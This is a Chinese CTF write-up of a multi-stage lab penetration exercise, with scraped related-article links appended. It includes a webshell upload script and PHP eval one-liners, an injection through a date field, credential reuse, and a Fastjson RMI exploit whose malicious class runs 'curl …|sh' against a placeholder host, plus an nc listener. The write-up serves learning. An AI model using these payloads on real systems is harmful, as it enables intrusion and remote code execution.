比赛概述

  • 开始时间:2023年3月10日15时
  • 环境保留时间:72小时
  • 环境重置时间:20分钟

官方wp链接:Docs (feishu.cn)

【本次复现跟着官方WP进行,只做记录学习之用】

0x1 目标资产

渗透域名:https://i.am.ctfer.com

场景1

0x1 信息收集

在页面最下方有查看帮助链接

找到应用信息

github直接搜名字Anonymous-Chat-Room,得到源码

0x2 审计源码

Anonymous-Chat-Room/client/photo_upload.php 页面中

直接任意文件上传漏洞了

0x3 getshell

1.txt内容为一句话木马<?php eval($_GET[1]);?>

import requests

url ="https://i.am.ctfer.com/photo_upload.php"

files = {'file': ('1.php', open('1.txt', 'rb'), 'image/gif', {'Expires': '0'})}

response = requests.post(url=url,files=files)

print(response.text)

https://i.am.ctfer.com/images/photo/640c9b28587aa1.php?1=phpinfo();

成功getshell

0x4 敏感信息

继续收集信息,蚁剑连接后,找到信息泄露点【换成post 方式的马连,GET连接失败】

session_start();

if (isset($_SESSION['login']) && $_SESSION['login'] == 1){
header("Location: admin.php");
} if (isset($_POST['username'])){
if ($_POST['username'] == 'hacker_ctfshow@163.com' && $_POST['password'] == 'Hacker_ctfsh0w'){
$_SESSION['login'] = 1;
header("Location: admin.php");
}else{
header("Location: login.php");
}
}

得到管理员账户密码

hacker_ctfshow@163.com/Hacker_ctfsh0w

登录后台。

没啥好利用的!

场景2

0x1 信息收集

使用得到的用户名密码,登陆163邮箱,发现敏感信息

0x2 加密邮件破解

邮件密码弱口令爆破:知道密码是123456,得到邮件正文敏感信息

亲爱的hacker同学:

       欢迎你加入ctfshow,很荣幸的通知你,你已经通过了ctfshow的考核,正式成为我们的一员了!

       以下是你需要的授权信息:

       开发地址:https://open.ctfer.com
登陆key :49bcab511556f63ea50d2197 请继续完成你的开发任务,对应的测试版,已经部署在
https://blog.ctfer.com
CTFshow大菜鸡

场景3

0x1 信息收集

   开发地址:https://open.ctfer.com
登陆key :49bcab511556f63ea50d2197

登陆后,发现xblog应用源码

0x2 getshell

利用vscode的终端功能,直接getshell

成功拿下第二台服务器

同时,因为已经是root 权限。直接在./c/ 创建文件,写入一句话木马。

发现c 目录下,root 权限也无法进行写操作!【显然有问题了】

修改文件也不可以!

根据上面的报错,查阅资料可以知道。

1.如果有root权限,可以输入  :wq!强行保存退出。

2.第二种方法:

(1)按ESC
(2)输入 :set noreadonly
(3)输入 :wq就可保存退出

成功修改!

   开发地址:https://open.ctfer.com
登陆key :49bcab511556f63ea50d2197 请继续完成你的开发任务,对应的测试版,已经部署在
https://blog.ctfer.com

回看邮件中的信息,发现一个误区。在开发环境中已经是root权限了!上传一句话木马没啥用处!应该进行源码审计,发现其中漏洞!去部署环境中进行提权,getshell!

【显然,上面的代码无论如何修改,但是没有部署到环境中!都是无益的】

0x3 审计源码

/c/t.php中,存在上传漏洞,可以写马

arsort($in);
$inn = $inn + 1;
file_put_contents('./../p/index.php', '<?php $inn=' . $inn . ';$in=' . var_export($in, true) . ';$tp=\'' . $tp . '\';$tagi=' . var_export($tagi, true) . ';?>');
if (valid_date($datestr)) {
$fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="post";?>';
} else {
$fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="page";?>';
}
file_put_contents('./../p/' . ($inn - 1) . '.php', $fstr);
changed();
$result['pid'] = ($inn - 1);

这里的$d存在逻辑问题,没有过滤带入了php文件

根据邮件信息,进入场景4,实现漏洞利用

场景4

0x1 getshell

根据邮件信息和审计出的漏洞,开始getshell,必须先登陆/a/,获取到session

# -*- coding: utf-8 -*-

import requests

url = "https://blog.ctfer.com/c/t.php"

cookie={
"PHPSESSID":"8195abb8fd5e540b0217ecfba6a0a79a"
} data={
"dat":'";eval($_POST[1]);?>',
"title":"1",
"content":"%20",
} response = requests.post(url=url+"?type=submit",data=data,cookies=cookie) print(response.text)

回显得到文件名

{"result":"ok","pid":2}

木马地址为/p/2.php

蚁剑成功连接

0x2 内网扫描

得到当前IP 192.168.102.3

(www-data:/var/www/html/p) $ ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
1035: eth0@if1036: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:c0:a8:66:03 brd ff:ff:ff:ff:ff:ff
inet 192.168.102.3/24 brd 192.168.102.255 scope global eth0
valid_lft forever preferred_lft forever

扫描当前网段存活主机

nmap -sP 192.168.101.0/24 > 1.txt  # 不可用

# shell 脚本!

#!/bin/bash
#测试局域网中的存活主机
for i in {1..254}
do
ping -c 1 192.168.102.$i &>/dev/null && echo 192.168.102.$i is alive &
done

无法执行.sh 【很奇怪,虽然当前是 www-data 低权限用户,但是修改了文件权限,按理说.sh是可执行的】

手动寻找网段存活主机,192.168.101.2

扫描192.168.101.2开放端口

curl http://192.168.102.2:80
curl http://192.168.102.2:22
curl http://192.168.102.2:53
curl http://192.168.102.2:21
curl http://192.168.102.2:8090
curl http://192.168.102.2:8080
curl http://192.168.102.2:3306

知道存在8090端口开发的fastjson漏洞

(191条消息) FastJson 反序列化漏洞原理分析_fastjson漏洞原理_Buffedon的博客-CSDN博客

(191条消息) Fastjson反序列化漏洞原理分析及复现_fastjson的反序列化和普通反序列化漏洞的区别是什么_Iwanturoot的博客-CSDN博客

浅析FastJSON反序列化漏洞(1.2.24——1.2.68) - 腾讯云开发者社区-腾讯云 (tencent.com)

【Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。】

0x3 横向渗透

使用fastjson漏洞来实现rce

整个攻击流程如下:

1. 我们在本地机器编写一个攻击类,并且得到它的class字节码文件M。
2. 通过自定义payload(请求报文),给目标环境A发送攻击请求。
3. 目标环境A对报文中的json数据进行反序列化,触发漏洞,通过RMI服务,造成目标环境A访问远程rmi服务器(rmi://127.0.0.1:1099/Exploit)。
4. 目标机器A加载攻击类M字节码,被攻击,完成rce。

首先生成恶意class,完成反弹shell任务

import java.lang.Runtime;
import java.lang.Process; public class ctfshow {
public static void main(String[] args) {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","curl https://xx.xx.xx.xx:9999 |sh"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
} 或者 public class ctfshow { public static void ctfshow() {
// static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/bash", "-c", "curl https://xx.xx.xx.xx:9999 |sh" };
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
// }
} public static void main(String[] args) {
} }

挂载恶意class

python -m http.server 8888

开启RMI服务(Java远程方法调用),启动监听

【 启动marshalsec工具,搭建RMI环境】

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8888/#ctfshow" 3389

监听反弹

nc -lvvnp 9999

x.json文件

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xx.xx.xx.xx:3389/ctfshow",
"autoCommit":true
}
}

a.sh文件

curl -X POST -H 'content-type:application/json' http://192.168.102.2:8090/ -d @x.json

使用curl发送json包

nc 成功,获得反弹shell

【这里复现的时候,没有成功反弹shell】

【猜测原因:开启RMI服务时,使用的marshalsec-0.0.3-SNAPSHOT-all.jar不正确,导致写的攻击脚本没利用上】

总结

0x1 资产统计

序号 资产类型 域名 内网IP 权限 应用
1 Linux i.am.ctfer.com 172.17.0.2/16 www-data 匿名聊天应用
2 敏感信息 mail.163.com / 普通权限 可收发邮件
3 Linux open.ctfer.com / root 开发环境
4 Linux blog.ctfer.com 192.168.102.3 www-data 开发版blog应用
5 Linux / 192.168.102.2 root fastjson

本次渗透环境共计5个场景,4台服务器,涉及4个域名

0x2 网络拓扑

致谢

平台:CTFshow

情景设计:大菜鸡

代码编写:大菜鸡

环境测试:大菜鸡/g4

感谢ctfshow 和大菜鸡师傅给我带来了一次愉悦的参赛体验!并附上ctf.show

RealWorldCTF渗透赛第二期复现-ctfshow的更多相关文章

  1. Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter

    Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ...

  2. 智能生活 科技无限 CTO VOICE 第二期 智能硬件创新创业专场演讲嘉宾招募

    生活不只有诗和远方,还有当下的痛点和需求 当可穿戴设备.虚拟现实.无人机.机器人进入人们视线甚至生活当中 下一个风口就在智能硬件领域上凸显 那么,创业者如何撕掉智能外衣,设计一款有竞争力的智能硬件? ...

  3. 寻找大学目标及行动步骤——记ITAEM团队第二期宣讲会(2014.05.14)

    ·昨晚8:00-9:40.在 钟海楼03029 ,进行了ITAEM团队第二期宣讲会(第一期见第一期宣讲会总结).来參加的主要是大一学生.以信院为主.也有法学院.文学院的同学. 在宣讲会中,大家都比較积 ...

  4. Contest1592 - 2018-2019赛季多校联合新生训练赛第二场(部分题解)

    Contest1592 - 2018-2019赛季多校联合新生训练赛第二场 D 10248 修建高楼(模拟优化) H 10252 组装玩具(贪心+二分) D 传送门 题干 题目描述 C 市有一条东西走 ...

  5. 下载频道--IT资源关东煮第二期[申明:来源于网络]

    下载频道–IT资源关东煮第二期[申明:来源于网络] 地址:http://geek.csdn.net/news/detail/129509?ref=myread

  6. 《Linux就该这么学》第二期视频

    Linux就该这么学--第二期学习笔记... ------------- 你的未来取决于你现在点点滴滴的努力 需要用到的一些工具: Vm11激活码 ---------- root在Linux系统中相当 ...

  7. 【sky第二期--PID算法】--【智能车论坛】

    [sky第二期--PID算法] 想学PID的可以来[智能车论坛]这里有我发布的资料http://bbs.tekbots.eefocus.com/forum.php?mod=viewthread& ...

  8. NOI.AC NOIP模拟赛 第二场 补记

    NOI.AC NOIP模拟赛 第二场 补记 palindrome 题目大意: 同[CEOI2017]Palindromic Partitions string 同[TC11326]Impossible ...

  9. 网易云社区有奖问答活动第二期——技术领导力、深入分布式、PHP圣经、Linux运维、Unity……三月热点图书等你拿!

    网易云社区第二期有奖问答活动开始了!(第一期活动已结束:人工智能图书大抽奖!) 欢迎积极参与网易云社区,讨论问题,交流心得.我们本期准备了一批技术领域热点图书,送给参与社区的朋友们,将以抽奖的形式送出 ...

  10. JEECG第二期深入使用培训(报名截止2014-06-21)

    JEECG第二期深入使用培训(报名截止2014-06-21) JEECG深度研究-交流碰撞火花,你学会的不不过JEECG,很多其它的是软件架构思想 http://www.jeecg.org/forum ...

随机推荐

  1. vue 的生命周期

    生命周期就是 vue 从开始创建到销毁的过程,分为四大步(创建,挂载, 更新,销毁),每一步又分为两小步,如 beforeCreate,created.beforeCreate 前,也就是 new V ...

  2. JS篇(001)-document load 和 document ready 的区别

    答案: 页面加载完成有两种事件 1.load是当页面所有资源全部加载完成后(包括DOM文档树,css文件,js文件,图片资源等),执行一个函数 问题:如果图片资源较多,加载时间较长,onload后等待 ...

  3. HCIA-ICT实战基础08-访问控制列表ACL原理与配置

    HCIA-ICT实战基础-访问控制列表ACL原理与配置 目录 ACL技术概述 ACL的基本概念及其工作原理 ACL的基础配置及应用 ACL技术概述 技术背景: 需要一个工具实现流量过滤 ACL是由一系 ...

  4. YML Exception 以及 java.nio.charset.MalformedInputException: Input length = 1

    在springboot项目中,第一次遇到的问题是 YML Exception java.nio.charset.MalformedInputException: Input length = 1 ,此 ...

  5. 【STM32】TIM定时器

    TIM定时器(TIM3为例) 初始化: A:结构体TIM_HandleTypeDef的成员: 1.*Instance:类型为TIM_TypeDef,即对TIM的寄存器的映射,通过这个成员可以操作寄存器 ...

  6. Day09-参数+递归

    参数+递归 一.命令行传参 有时候你希望运行一个程序时候再传递给它消息.这要靠传递命令行参数给main()函数实现 public class CommandLine{ public static vo ...

  7. SQLite 帮助类

    public static class SqliteHelper { /// <summary> /// 获得连接对象 /// </summary> /// <retur ...

  8. uni-app微信小程序文本框计数功能

    <view> <textarea placeholder="请输入" @input="sumfontnum" :maxlength=" ...

  9. 在LaTeX中使用BibTeX时的一个问题及其解决:编译PDF不随bib文件更新

    问题:更新bib文件之后,编译tex文件输出的PDF文件没有相应的更新. 原理: bbl文件才是引文的信息,bib文件只是用于生成bbl文件的一个"数据集"而已. 一般来说,LaT ...

  10. Crypto入门 (九) easy_RSA

    前言: 建议看这篇随笔之前先看入门(8)数论基础,简单学习下,有利于你看懂后面得算法原理,链接给出:https://www.cnblogs.com/yuanchu/p/13494104.html ea ...